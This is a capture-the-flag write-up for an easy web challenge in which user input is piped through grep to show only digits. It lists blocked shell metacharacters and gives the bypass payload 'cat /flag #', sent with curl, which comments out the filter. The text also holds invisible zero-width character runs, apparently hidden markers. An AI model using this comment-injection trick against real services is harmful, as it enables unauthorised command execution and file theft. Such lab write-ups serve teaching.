← Back to Writeups
CUSTOMEasyWeb

Grep It All

XESXOR9/10/20262 min read
#web#custom#easy#output_filter_bypass#shell_comment_injection#linux

Grep It All

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: output_filter_bypass, shell_comment_injection

Summary

A "full shell" service at https://2019-10-13-cmdinj.ctf.su/task/grep, but you can only get digits. The service runs user commands but pipes output through grep -Eo "[0-9]+" to only show numbers. Flag is in /flag.

Grep It All - Web Kids 2.0

Description

A "full shell" service at https://2019-10-13-cmdinj.ctf.su/task/grep, but you can only get digits. The service runs user commands but pipes output through grep -Eo "[0-9]+" to only show numbers. Flag is in /flag.

URL: https://2019-10-13-cmdinj.ctf.su/task/grep

Analysis

The service executes the command <user_input> | grep -Eo "[0-9]+" with user input.

WAF rules:

  • ; - blocked
  • | - blocked
  • && - blocked
  • ` (backtick) - blocked
  • $() - blocked
  • # - ALLOWED ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key vulnerability: the comment character # is not blocked. In shell, everything after # until the end of the line is ignored as a comment. This allows us to "cut off" the appended part of the command with the grep filter.

Solution

In shell, the # character starts a comment - everything after it until the end of the line is ignored.

The server executes:

bash
<user_input> | grep -Eo "[0-9]+"

If we add # at the end of our command, the pipe and grep become part of the comment:

Payload:

cat /flag #

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Sending via POST:

bash
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/grep -d 'shell=cat /flag #'

What happens on the server:

bash
cat /flag # | grep -Eo "[0-9]+"

Shell interprets # | grep -Eo "[0-9]+" as a comment and ignores it. Only cat /flag is executed, and the full output (including letters) is returned to the user. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍